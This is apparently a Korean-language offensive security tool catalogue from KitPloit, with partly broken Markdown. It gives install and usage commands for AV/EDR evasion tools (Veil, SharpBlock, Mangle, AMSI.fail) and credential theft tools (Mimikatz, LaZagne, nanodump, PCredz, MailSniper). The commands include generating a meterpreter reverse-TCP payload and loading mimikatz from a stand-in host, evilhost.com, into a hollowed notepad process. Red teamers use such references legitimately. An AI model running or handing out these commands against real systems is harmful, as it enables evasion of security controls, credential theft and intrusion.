**설치:**```bash
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git

사용법:```bash ./Invoke-Obfuscation

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/73cd7d239921a52c9bbd080dd410cc79af429d9336f56949f1b50379e9ae58ae.png)

### [🔙](#tool-list)[Veil](https://github.com/Veil-Framework/Veil)

Veil은 일반적인 안티바이러스 솔루션을 우회하는 metasploit 페이로드를 생성하는 도구입니다.

난독화된 셸코드를 생성하는 데 사용할 수 있으며, 자세한 내용은 공식 [veil framework 블로그](https://www.veil-framework.com/)를 참조하십시오.

**설치: (Kali)**```bash
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

설치: (Git)```bash sudo apt-get -y install git git clone https://github.com/Veil-Framework/Veil.git cd Veil/ ./config/setup.sh --force --silent

root@kitploit:~
**사용법:**```bash
# List all payloads (–list-payloads) for the tool Ordnance (-t Ordnance)
./Veil.py -t Ordnance --list-payloads

# List all encoders (–list-encoders) for the tool Ordnance (-t Ordnance)
./Veil.py -t Ordnance --list-encoders

# Generate a reverse tcp payload which connects back to the ip 192.168.1.20 on port 1234
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234

# List all payloads (–list-payloads) for the tool Evasion (-t Evasion)
./Veil.py -t Evasion --list-payloads

# Generate shellcode using Evasion, payload number 41, reverse_tcp to 192.168.1.4 on port 8676, output file chris
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris

Veil 제작자들은 유용한 블로그 포스트를 작성하여 추가적인 ordnance 및 evasion 명령줄 사용법을 설명합니다.

image

🔙SharpBlock

엔트리 포인트 실행을 차단하여 EDR의 활성 프로젝션 DLL을 우회하는 방법입니다.

기능:

  • EDR DLL 엔트리 포인트 실행을 차단하여 EDR 후크가 설치되지 않도록 합니다.
  • 런타임에 Amsi.dll 코드 패치를 찾는 스캐너에서 감지되지 않는 패치리스 AMSI 우회.
  • 디스크, HTTP 또는 명명된 파이프(Cobalt Strike)에서 로드할 수 있는 임플란트 PE로 교체되는 호스트 프로세스.
  • 임플란트된 프로세스는 숨겨져 있어 할로우 프로세스를 찾는 스캐너를 회피하는 데 도움이 됩니다.
  • 명령줄 인수는 스푸핑되어 프로세스 생성 후 은밀한 EDR 탐지 방법을 사용하여 임플란트됩니다.
  • 패치리스 ETW 우회.
  • 호출 대상이 차단된 DLL의 주소 공간 범위 내에 있을 때 NtProtectVirtualMemory 호출을 차단합니다.

설치:

Visual Studio 2019 Community Edition을 사용하여 SharpBlock 바이너리를 컴파일합니다.

SharpBlock 프로젝트 .sln을 열고 "Release"를 선택한 후 빌드합니다.

사용법:```bash

Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL

SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee

Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL

execute-assembly SharpBlock.exe -e \.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee upload_file /home/haxor/mimikatz.exe \.\pipe\mimi

root@kitploit:~
좋은 PenTestPartners 블로그 게시물 [here](https://www.pentestpartners.com/security-blog/patchless-amsi-bypass-using-sharpblock/).

![image](https://assets.kitploit.com/production/public/readmes/495/169817a9f92ae537c2952c91778c19e80f36610645b55515c23efbb8d7626cf8.png)

_이미지 출처: https://youtu.be/0W9wkamknfM_

### [🔙](#tool-list)[Alcatraz](https://github.com/weak1337/Alcatraz)

Alcatraz는 GUI x64 바이너리 난독화 도구로, 다양한 PE 파일을 난독화할 수 있습니다. 포함된 파일 형식:

- .exe
- .dll
- .sys

지원되는 난독화 기능은 다음과 같습니다:

- 즉시 이동 (immediate moves) 난독화
- 제어 흐름 평탄화
- ADD 변형
- 진입점 난독화
- LEA 난독화

**설치: (요구 사항)**

설치: https://vcpkg.io/en/getting-started.html```bash
vcpkg.exe install asmjit:x64-windows
vcpkg.exe install zydis:x64-windows

사용법:

GUI를 사용하여 바이너리 난독화하기:

  1. 왼쪽 상단에서 file을 클릭하여 바이너리를 로드합니다.
  2. Functions 트리를 확장하여 함수를 추가합니다. (상단 검색창에 이름을 입력하여 검색할 수 있습니다.)
  3. compile을 누릅니다. (참고: 많은 함수를 난독화하면 몇 초 정도 걸릴 수 있습니다)

image

이미지 출처: https://github.com/weak1337/Alcatraz

🔙Mangle

Mangle은 컴파일된 실행 파일(.exe 또는 DLL)의 여러 측면을 조작하는 도구입니다.

Mangle은 알려진 침해 지표(IoC) 기반 문자열을 제거하고 무작위 문자로 대체하며, 파일 크기를 늘려 EDR을 회피하고, 합법적인 파일의 코드 서명 인증서를 복제할 수 있습니다.

이러한 기능을 통해 Mangle은 로더가 온디스크 및 인메모리 스캐너를 회피하는 데 도움을 줍니다.

설치:

첫 번째 단계는 항상 그렇듯이 저장소를 클론하는 것입니다. Mangle을 컴파일하기 전에 종속성을 설치해야 합니다. 종속성을 설치하려면 다음 명령을 실행하세요:``` go get github.com/Binject/debug/pe

root@kitploit:~
그런 다음 빌드하세요```
git clone https://github.com/optiv/Mangle
cd Mangle
go build Mangle.go

사용법:```bash -C string Path to the file containing the certificate you want to clone -I string Path to the orginal file -M Edit the PE file to strip out Go indicators -O string The new file name -S int How many MBs to increase the file by

root@kitploit:~
Full usage information can be found [here](https://github.com/optiv/Mangle#usage).

![image](https://assets.kitploit.com/production/public/readmes/495/f789de9299d36397070f132bf87884c54b40bb340f1377df625a88444d0cfbcb.png)

_이미지는 https://github.com/optiv/Mangle에서 사용됨_

### [🔙](#tool-list)[AMSI Fail](http://amsi.fail/)

AMSI.fail은 현재 프로세스에 대해 AMSI를 중단하거나 비활성화하는 난독화된 PowerShell 코드 조각을 생성하는 데 사용할 수 있는 훌륭한 웹사이트입니다.

코드 조각은 난독화되기 전에 소수의 기술/변형 풀에서 무작위로 선택됩니다. 모든 조각은 런타임/요청 시 난독화되어 생성된 출력이 동일한 서명을 공유하지 않도록 합니다.

AMSI를 설명하는 좋은 f-secure 블로그는 [여기](https://blog.f-secure.com/hunting-for-amsi-bypasses/)에 있습니다.

![image](https://assets.kitploit.com/production/public/readmes/495/1aa5b307fda84ade6b8cb47c3205113d34fd59dd850c64bfda6377bfc4898544.png)

_이미지는 http://amsi.fail/에서 사용됨_

# 자격 증명 액세스

### [🔙](#tool-list)[Mimikatz](https://github.com/gentilkiwi/mimikatz)

손상된 엔드포인트에서 해시된 비밀번호와 일반 텍스트 비밀번호에 접근하는 데 유용한 도구입니다. 시스템에 권한 있는 액세스 권한을 얻은 후 이 도구를 배포하여 자격 증명을 수집하세요.

**Install:**

1. [mimikatz_trunk.7z](https://github.com/gentilkiwi/mimikatz/releases) 파일을 다운로드합니다.
2. 다운로드가 완료되면 `mimikatz.exe` 바이너리가 `x64` 폴더에 있습니다.

**Usage:**```bash
.\mimikatz.exe
privilege::debug

image

🔙LaZagne

브라우저, 데이터베이스, 게임, 메일, Git, WiFi 등에서 로컬에 저장된 비밀번호를 추출하는 유용한 도구입니다.

설치: (Binary)

여기에서 독립 실행형 바이너리를 설치할 수 있습니다.

사용법:```bash

Launch all modes

.\laZagne.exe all

Launch only a specific module

.\laZagne.exe browsers

Launch only a specific software script

.\laZagne.exe browsers -firefox

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/1d1b5d2e86fcce088d0b13d99491f1bd230432dca20b9b4de80525587fd4224b.png)

### [🔙](#tool-list)[hashcat](https://github.com/hashcat/hashcat)

비밀번호 해시를 크래킹하는 도구입니다. 많은 해싱 알고리즘을 지원합니다 (전체 목록은 [여기](https://hashcat.net/wiki/doku.php?id=example_hashes)에서 확인할 수 있습니다).

**설치: 바이너리**

독립형 바이너리는 [여기](https://hashcat.net/hashcat/)에서 설치할 수 있습니다.

**사용법:**```bash
.\hashcat.exe --help

Nice hashcat 명령어 치트시트.

image

🔙John the Ripper

수백 가지 해시 및 암호 유형을 지원하고 여러 운영 체제, CPU 및 GPU에서 실행되는 또 다른 비밀번호 크래커입니다.

설치:```bash sudo apt-get install john -y

root@kitploit:~
**사용법:**```bash
john

image

🔙SCOMDecrypt

이 도구는 Microsoft System Center Operations Manager(SCOM) 데이터베이스에 저장된 RunAs 자격 증명을 검색하고 복호화하도록 설계되었습니다.

NCC 블로그 글 - 'SCOMplicated? – SCOM "RunAs" 자격 증명 복호화'

사전 요구 사항:

도구를 실행하려면 SCOM 서버에 대한 관리자 권한이 필요합니다. 또한 다음 레지스트리 키에 대한 읽기 권한이 있는지 확인해야 합니다.``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\MOMBins

root@kitploit:~
다음 키에서 연결 세부 정보를 수집하여 데이터베이스를 볼 수 있는지 수동으로 확인할 수 있습니다.```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseName

설치: (PS1)``` git clone https://github.com/nccgroup/SCOMDecrypt cd .\SCOMDecrypt\SCOMDecrypt
. .\Invoke-SCOMDecrypt.ps1

root@kitploit:~
**설치: (컴파일)**

[Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/)을 사용하여 SCOMDecrypt 바이너리를 컴파일할 수 있습니다.

SCOMDecrypt [project .sln](https://github.com/nccgroup/SCOMDecrypt)을 열고 "Release"를 선택한 후 빌드합니다.

**사용법:**```bash
# PS1
Invoke-SCOMDecrypt

# Compiled C# binary
.\SCOMDecrypt.exe

image

이미지 텍스트는 https://github.com/nccgroup/SCOMDecrypt 에서 사용되었습니다.

🔙nanodump

LSASS(로컬 보안 기관 하위 시스템 서비스)는 Windows 운영 체제의 시스템 프로세스로, 시스템의 보안 정책을 적용하는 역할을 합니다. 사용자 로그온 인증, 보안 정책 적용, 감사 로그 생성 등 보안과 관련된 여러 작업을 담당합니다.

이 프로세스의 덤프를 생성하면 공격자가 프로세스 메모리에서 암호 해시 또는 기타 민감한 정보를 추출할 수 있으며, 이를 통해 시스템을 추가로 손상시킬 수 있습니다.

이를 통해 LSASS 프로세스의 미니덤프를 생성할 수 있습니다.

설치:```bash git clone https://github.com/helpsystems/nanodump.git

root@kitploit:~
**설치: (Linux with MinGW)**```bash
make -f Makefile.mingw

설치: (Windows with MSVC)```bash nmake -f Makefile.msvc

root@kitploit:~
**설치: (CobaltStrike 전용)**

Cobalt Strike에서 `NanoDump.cna` 스크립트를 가져옵니다.

전체 설치 정보는 [여기](https://github.com/helpsystems/nanodump)에서 확인할 수 있습니다.

**사용법:**```bash
# Run
nanodump.x64.exe

# Leverage the Silent Process Exit technique
nanodump --silent-process-exit C:\Windows\Temp\

# Leverage the Shtinkering technique
nanodump --shtinkering

Full usage information can be found 여기서 확인할 수 있습니다.

nanodump

이미지 출처: https://github.com/helpsystems/nanodump

🔙eviltree

고전적인 "tree" 명령어의 독립형 python3 리메이크로, 사용자가 제공한 키워드/정규식을 파일에서 검색하고, 일치하는 파일을 강조 표시하는 추가 기능이 있습니다. 두 가지 주요 이유로 만들어졌습니다:

  • 중첩된 디렉토리 구조의 파일에서 비밀을 검색할 때, 어떤 파일에 사용자가 제공한 키워드/정규식 패턴이 포함되어 있고, 해당 파일이 폴더 계층 구조에서 어디에 위치하는지 시각화할 수 있다는 것은 큰 이점을 제공합니다.
  • tree는 디렉토리 구조를 분석하는 훌륭한 도구입니다. 모든 Linux 배포판에 사전 설치되어 있지 않고 Windows에서는 (UNIX 버전에 비해) 제한적이므로, 사후 침투 열거를 위해 이 명령어의 독립형 대안을 갖는 것은 매우 편리합니다.

설치:```bash git clone https://github.com/t3l3machus/eviltree

root@kitploit:~
**사용법:**```bash
# Running a regex that essentially matches strings similar to: password = something against /var/www
python3 eviltree.py -r /var/www -x ".{0,3}passw.{0,3}[=]{1}.{0,18}" -v

# Using comma separated keywords instead of regex
python3 eviltree.py -r C:\Users\USERNAME -k passw,admin,account,login,user -L 3 -v

image

이미지 출처: https://github.com/t3l3machus/eviltree

🔙SeeYouCM-Thief

Cisco 전화 시스템에서 SSH 자격 증명을 검색하기 위해 구성 파일을 자동으로 다운로드하고 구문 분석하는 간단한 도구입니다.

선택적으로 UDS API에서 Active Directory 사용자를 열거할 수도 있습니다.

블로그 - Cisco 전화 시스템의 일반적인 잘못된 구성 악용

설치:```bash git clone https://github.com/trustedsec/SeeYouCM-Thief python3 -m pip install -r requirements.txt

root@kitploit:~
**사용법:**```bash
# Enumerate Active Directory users from the UDS api on the CUCM
./thief.py -H <CUCM server> --userenum

# Without specifying a phone IP address the script will attempt to download every config in the listing.
./thief.py -H <Cisco CUCM Server> [--verbose]

# Parse the web interface for the CUCM address and will do a reverse lookup for other phones in the same subnet.
./thief.py --phone <Cisco IP Phoner> [--verbose]

# Specify a subnet to scan with reverse lookups.
./thief.py --subnet <subnet to scan> [--verbose]

image

이미지는 https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/ 에서 사용되었습니다.

🔙MailSniper

MailSniper는 Microsoft Exchange 환경에서 이메일을 검색하여 특정 용어(비밀번호, 내부 정보, 네트워크 아키텍처 정보 등)를 찾기 위한 침투 테스트 도구입니다. 비관리자 사용자가 자신의 이메일을 검색하거나 Exchange 관리자가 도메인의 모든 사용자 사서함을 검색하는 데 사용할 수 있습니다.

MailSniper는 또한 비밀번호 스프레이, 사용자 및 도메인 열거, OWA 및 EWS에서 전체 주소 목록(GAL) 수집, 조직의 모든 Exchange 사용자에 대한 사서함 권한 확인을 위한 추가 모듈을 포함합니다.

자세한 정보가 있는 좋은 블로그 게시물은 여기를 참조하세요.

MailSniper Field Manual

설치:``` git clone https://github.com/dafthack/MailSniper cd MailSniper Import-Module MailSniper.ps1

root@kitploit:~
**사용법:**```bash
# Search current users mailbox
Invoke-SelfSearch -Mailbox [email protected]

image

이미지는 https://patrowl.io/ 에서 가져옴

탐색

🔙PCredz

이 도구는 pcap 파일 또는 라이브 인터페이스에서 신용카드 번호, NTLM(DCE-RPC, HTTP, SQL, LDAP 등), Kerberos(AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP 등을 추출합니다.

설치:```bash git clone https://github.com/lgandx/PCredz

root@kitploit:~
**사용법:** (PCAP 파일 폴더)```python
python3 ./Pcredz -d /tmp/pcap-directory-to-parse/

사용법: (Live Capture)```python python3 ./Pcredz -i eth0 -v

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/d819d8547846dd9c2cf90de72ae97cf2ad9343b3a33138a494f8faddbcafb751.png)

### [🔙](#tool-list)[PingCastle](https://github.com/vletoux/pingcastle)

Ping Castle은 위험 평가와 성숙도 프레임워크를 기반으로 하는 방법론을 사용하여 Active Directory 보안 수준을 신속하게 평가하도록 설계된 도구입니다. 완벽한 평가보다는 효율성과의 타협을 목표로 합니다.

**설치:** (다운로드)```
https://github.com/vletoux/pingcastle/releases/download/2.11.0.1/PingCastle_2.11.0.1.zip

사용법:```python ./PingCastle.exe

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/08029a769de32ee753d986e104290666e2fbef11132117a45c3b57ce387a76af.png)

### [🔙](#tool-list)[Seatbelt](https://github.com/GhostPack/Seatbelt)

Seatbelt는 대상 Windows 시스템의 보안 상태에 대한 상세 정보를 수집하여 잠재적인 취약점과 공격 벡터를 식별하는 데 유용한 도구입니다.

이 도구는 손상된 피해 시스템에서 실행되어 현재 보안 구성을 확인하도록 설계되었으며, 설치된 소프트웨어, 서비스, 그룹 정책 및 기타 보안 관련 설정에 대한 정보를 포함합니다.

**설치: (컴파일)**

Seatbelt는 C# 8.0 기능을 사용하여 .NET 3.5 및 4.0에 맞춰 빌드되었으며, [Visual Studio Community Edition](https://visualstudio.microsoft.com/downloads/)과 호환됩니다.

Read more

도구 다운로드